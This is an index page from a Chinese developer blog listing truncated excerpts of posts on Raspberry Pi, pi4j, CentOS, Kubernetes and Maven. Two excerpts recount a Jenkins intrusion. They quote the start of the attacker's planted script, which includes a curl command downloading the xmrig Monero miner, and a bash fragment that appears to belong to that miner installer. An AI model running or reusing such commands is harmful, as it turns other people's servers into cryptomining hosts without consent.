自定义博客皮肤VIP专享

*博客头图:

格式为PNG、JPG,宽度*高度大于1920*100像素,不超过2MB,主视觉建议放在右侧,请参照线上博客头图

请上传大于1920*100像素的图片!

博客底图:

图片格式为PNG、JPG,不超过1MB,可上下左右平铺至整个背景

栏目图:

图片格式为PNG、JPG,图片宽度*高度为300*38像素,不超过0.5MB

主标题颜色:

RGB颜色,例如:#AFAFAF

Hover:

RGB颜色,例如:#AFAFAF

副标题颜色:

RGB颜色,例如:#AFAFAF

自定义博客皮肤

-+

极客栈

极客社团

原创 树莓派与蓝牙的通信方式

1.树莓派3使用标准的UART(GPIO14作为输出,GPIO15作为输入,GND接地)和蓝牙模块进行通信。 2.也可以使用usb额外的蓝牙适配器通信(蓝牙卡) 3.蓝牙通信的频率和wifi一样,2.4Ghz的特高频。 4.蓝牙的工作流程 广播/扫描 连接 数据通信 ...

2020-05-25 23:13:54 175 0

原创 树莓派端口使用解释

1.gpio端口的输入和输出电压: gpio端口高电压有两种,一种5v:2,4号端口;一种3.3v:1,17号端口 gpio端口地线电压有一种:0v(6,9,14,20,25,30,34,39)八个 gpio端口其他GPIOX(例如:GPIO1) 1-26是输入和输出端口,有两个状态,...

2020-05-25 23:01:00 77 0

原创 什么是高并发(java为例)

当提到高并发的时候,很多人就有疑问,到底什么是高并发编程? 以登录功能为例。当登录的时候,是用户拿用户名,密码到数据库里访问是否存在,存在则跳转到登录页面。然后修改访问次数为+1.否则跳转到失败页面,访问次数不加1. 当一个用户进行访问的时候,是不存在并发性问题的。因为用户查询库表,修改访问次...

2020-04-04 22:00:03 69 0

原创 linux新建用户名,密码

1.新建用户:useradd zgj 2.设置密码:passwd zgj 3.设置组:usermod-aG rootzgj

2020-03-28 21:35:42 85 0

原创 架构专题-搭建maven私服nexus

1.下载nexus-3.16.1-02-unix.tar.gz 链接:https://pan.baidu.com/s/13o65VlJaU_NjzgDEKkV18g 提取码:tsrl 2.复制到系统目录/opt/software 3.解压 cdopt/software tar -zxvf...

2020-03-16 22:49:48 56 0

原创 树莓派4b-centos操作系统安装包

针对树莓派4b操作系统,需要安装不同于2,3系列的安装包。 centos操作系统也一样,需要使用和3b,3b+不同的安装包。 附件分享一个操作系统可用的4b的操作系统下载地址: 一.链接:https://pan.baidu.com/s/1zeTyMqfjykX9AVbvKz60oQ 提取码:...

2020-03-16 15:24:09 1023 0

原创 分享一个非常好用的录屏软件

录屏软件下载地址: 链接:https://pan.baidu.com/s/1zYSJFEQrobE0x_XQ6bK2Tg 提取码:8m9m 复制这段内容后打开百度网盘手机App,操作更方便哦 2.使用方法: 是否关闭声音按钮右击,会设置音频设置,例如:捕捉屏幕播放声音,是否捕捉...

2020-02-20 08:10:34 540 0

原创 树莓派Java开发-pi4j-包讲解-工具包,当前包,wiringpi操作包,温度包

版本:Parent POM 1.2 API 本章主要讲解pi4j下的com.pi4j.temperature 、com.pi4j.util 、com.pi4j.wiringpi、com.pi4j.concurrent 四个包 com.pi4j.jni ...

2020-02-17 23:35:05 144 0

原创 Linux操作系统下配置环境变量与windows 操作系统下的区别

1.windows多个变量连接使用; 分号。而Linux系统下使用冒号 : 来进行分割 2.centos系统,export注意使用方式和顺序 3.classpath 开头的是 . 英文的句号 开头 。后面都是冒号分割 4.PATH 也是用冒号分割 vim /etc/profile JA...

2020-02-10 15:09:24 113 0

原创 烟花

package mypanel; /** * 烟花算法,鼠标点击事件。粗糙 */ import java.awt.*; import java.applet.*; import java.awt.event.*; import javax.swing.*; import Frames....

2020-02-04 23:31:21 48 0

原创 树莓派Java开发-pi4j-包讲解-底层相关

版本:Parent POM 1.2 API 本文主要讲解底层相关的几个包。com.pi4j.jni com.pi4j.platform com.pi4j.system com.pi4j.system.impl 其他包讲解待续 com.pi4j.jni ...

2020-01-29 20:48:22 186 0

原创 树莓派3b+ api-简单gpio针脚控制

/* * #%L * ********************************************************************** * ORGANIZATION : Pi4J * PROJECT : Pi4J :: Java Example...

2020-01-16 22:37:08 191 0

原创 树莓派Java开发-pi4j-依赖关系图

摘自官网: 介绍: 使用PI4Jjar包的时候,可以使用pom文件引入的方式,或者直接下载放到lib目录下使用。都可。 pom文件引入代码 <!-- https://mvnrepository.com/artifact/com.pi4j/pi4j-core --> ...

2020-01-15 23:03:43 97 0

翻译 树莓派pi4j-1.2学习-一-官网翻译-1项目介绍

原文地址:https://pi4j.com/1.2/index.html 说明:pi4j版本 pi4j入门 pi4j项目旨在为程序员提供以面向对象的方式操作树莓派GUIP IO针脚的I/O api接口和函数库。同时pi4j项目也为Java程序员提供了操作树莓派的完整的输入/输入(后面都 ...

2020-01-15 22:46:32 172 0

原创 树莓派使用pi4j包编写程序

1.创建maven项目 略2.项目的pom文件中引入pi4j的jar包 地址:https://mvnrepository.com/artifact/com.pi4j/pi4j-core/1.2 <!-- https://mvnrepository.com/artifact/com....

2020-01-13 22:22:49 124 0

原创 树莓派3b+ 在centos7上安装jdk8

一。下载 jdk8官网:https://www.oracle.com/technetwork/java/javase/downloads/jdk8-downloads-2133151.html 由于需要登录有才能下载,所以wget 命令这里使用了比较高级的用法。 挂网上找到需要下载的链接的方...

2020-01-13 20:21:49 188 0

原创 查看Linux-centos操作系统位数命令

getconf LONG_BIT

2019-12-27 22:29:56 30 0

原创 树莓派centos-arm安装k8s编译

本文演示如何在centos-arm系统上进行编译k8s 1.安装k8s的安装环境:golang # wget -c https://dl.google.com/go/go1.11.4.linux-arm64.tar.gz -P /opt/package/ wget https://golan...

2019-12-08 22:22:14 136 0

原创 树莓派-centos系统安装k8s的yum源

[kubernetes] name=Kubernetes baseurl=https://mirrors.aliyun.com/kubernetes/yum/repos/kubernetes-el7-armhfp/ enabled=1 gpgcheck=1 repo_gpgcheck=1 gpgk...

2019-12-03 20:03:44 128 6

原创 树莓派安装yum源

参考: 转自:https://blog.csdn.net/byforson/article/details/95325381 1.把/etc/yum.repos.d里边的CentOS-Base.repo做一下备份,然后把CentOS-Base.repo里边的内容改成下面的 2. vi/etc/...

2019-12-02 23:39:41 948 0

原创 树莓派安装centos操作系统

一。如果硬件是32位的: 1.树莓派是arm硬件架构的,所以下载centos要下载安装 arm体系下的。 具体链接:http://isoredirect.centos.org/altarch/7/isos/armhfp/CentOS-Userland-7-armv7hl-Raspberry...

2019-09-05 20:48:26 249 0

原创 树莓派各种系统下载地址,安装方式及默认密码

原理装备: 1.树莓派和平时使用的电脑的区别,我们平时的联想戴尔等电脑是x86或i386或x86-64cup硬件架构的,而树莓派是arm架构的 2.针对不同的硬件架构要选择合适的操作系统 3.不同的硬件架构及操作系统,支持的文件系统是不一样的。如windows ntfs,linux ext4...

2019-09-05 20:28:23 1961 0

原创 树莓派安装rpm

1.安装apt-get sudo apt-get update。 2.安装yum sudo apt-get install rpm

2019-09-01 19:54:40 475 0

转载 [转]java 反射机制--根据属性名获取属性值

1.考虑安全访问范围内的属性,没有权限访问到的属性不读取 /** * 根据属性名获取属性值 * * @param fieldName * @param object * @return */ private String getFieldValueByFieldName...

2019-08-28 20:05:06 94 0

原创 centos7 k8s安装步骤

前提:系统没有安装过docker,否则需要卸载掉。系统要能联网 一。安装 1.yum update # 更新yum 2.关闭cetos自带的防火墙 systemctl disable firewalld systemctl stop firewalld 3.安装etcd和kube...

2019-07-25 22:18:12 191 0

原创 kubernetes RC的yaml示例

apiVersion: v1 kind: ReplicationController # RC metadata: name: mysql spec: replicas: 1 selector: app: mysql template: metadata: labels: app:...

2019-07-25 21:57:55 170 0

原创 架构专题-jar包冲突解决

maven项目,当我们引入jar包的时候,很多时候,jar包会有冲突,那么怎么找出这些冲突的jar包,并将其解决呢? 下面是eclipse开发工具下,寻找冲突jar包的方式 1.打开pom文件,使用dependnecy Hierachy 试图,打开 Resolved Denpe...

2019-07-07 15:03:40 69 0

原创 树莓派配置ssh并开机自起

为了使树莓派使用的时候不需要外接io及显示设备,将树莓派开启ssh服务,并设置开机自启,这样就可以每次插入电源,通过外部电脑如笔记本等,通过命令行操作树莓派了。 树莓派ssh协议开启: 1.启用root 权限。(arm架构体系的root权限默认是禁用的)。 sudo passwd ...

2019-05-19 22:16:39 2245 0

原创 物联网IoT与万维物联网WoT

物联网:物联网是一个物理对象系统,其中的电子沈北通过各种各样的网络接口进行通信,从而可以被发现,监控控制或者交互,最终可以连接到更大的网络。 (个人定义):物联网提供了一个网络,这个网络上定义了一系列的协议,用于各类电子设备之间的监听与控制,采集信息,发送信息,接收信息,传递信息,处理信息,使用...

2019-04-25 23:28:45 338 1

原创 万联网的学习网站

1.https://www.postscapes.com/ 2.https://www.manning.com/books/building-the-web-of-things 3.https://webofthings.org/book/ 4.https://www.w3.org/WoT/...

2019-04-25 22:49:54 102 0

原创 spring cloud学习笔记-1

官方网站:http://spring.io/projects/spring-cloud 第一章 spring cloud 概述 1.1 spring cloud 包含的模式 spring cloud是一组开发工具包,这组工具包给分布式系统的开发者提供了通用的模式。 spring c...

2019-03-06 22:32:19 213 0

原创 如何使用编程工具postman调用github的api

    我们知道,如果通过github官网:https://github.com/  可以进入到高级搜索页面,进行搜索感兴趣的项目,但是这样的结果只能在github网页上进行展示。如果我们需要通过自己的网站调用github的网站,把结果显示在自己的网站中,那么该怎么办呢?     下面以post...

2019-01-24 21:44:26 620 0

原创 Java编程思想-泛型

package com.jzg.thinkingInJava.test.T; public interface Performs { void speak(); void sit(); } package com.jzg.thinkingInJava.test.T; i...

2019-01-15 22:51:43 109 0

原创 Java泛型机制-潜在类型机制(结构化类型机制,通俗称为鸭子类型机制)

本文有待考虑,有的书上说,Java是不支持潜在类型机制的,但泛型本身个人就理解为是支持潜在类型机制的。Java的泛型,是不能从继承的角度进行考虑泛型本身的。(这是我读Java编程思想,与作者的观点不尽相同的。Java编程思想是通过继承体系去讲解泛型的,泛型的前半部分我读的云里雾里的,直到潜在类型机...

2019-01-10 21:21:43 197 0

原创 开源协议有哪些

GPL、BSD、MIT、Mozilla、Apache和LGPL。 1.GPL http://gplv3.fsf.org/comments/gplv3-draft-4.html 2.BSD https://www.bsd.org/ 3.MIT https://mit-license.org/ ...

2018-12-28 23:15:34 215 0

原创 开源项目探险-1

在学习过程中,我们经常会听说过开源项目。开源项目就是所有的代码都是公开的,我们可以下载修改,编译自己的版本。 那么这些开源项目的源码都从哪里下载找呢? 比较流行的,国外的github,国内的码云。这是基于github,git工具的开源项目。如果要学会下载并对这些项目做贡献的话,首先就需要先了解...

2018-12-28 22:26:08 68 0

原创 【编程初学者】创建自己的开源项目8-基于当前分支,提交归并请求到主分支3-代码冲突(myeclipse+git)

上一章讲到 将远程代码库中的自己分支上的代码,归并到主分支中,主要分为三个大的步骤:     1.提交归并请求 2.查看代码,解决冲突  3.确认归并请求     上两章分别讲了 1.提交归并请求。 2.查看代码并解决冲突。这一章讲 最后一个步骤 3.确认归并请求 上一章我们讲了提交代码归并...

2018-11-18 00:16:20 114 0

原创 记Jenkins攻击2-门罗币挖矿程序

去年开通阿里云之后,被挂马了,用的Jenkins,被人攻击获取到Jenkins账号,然后在我的Jenkins上安装了一下的一个脚本: curl -OL https://github.com/xmrig/xmrig/releases/download/v2.8.3/xmrig-2.8.3-xe...

2018-10-29 21:34:48 847 1

原创 记一次Jenkins入侵攻击防范

#!/bin/bash threadCount=$(lscpu | grep 'CPU(s)' | grep -v ',' | awk '{print $2}' | head -n 1); hostHash=$(hostname -f...

2018-10-24 23:37:33 1100 0

原创 jenkins使用shell脚本启停Tomcat部署项目

#!/bin/bash -ilex  # 上一行表示 -i:交互方式 l:登陆方式 执行sh  参考: # su - root -c "1234" chmod -R 777 /opt/data/.m2/repository/ globalJarID=$(ps -ef |gre...

2018-10-23 20:59:19 394 0

提示
确定要删除当前文章?
取消 删除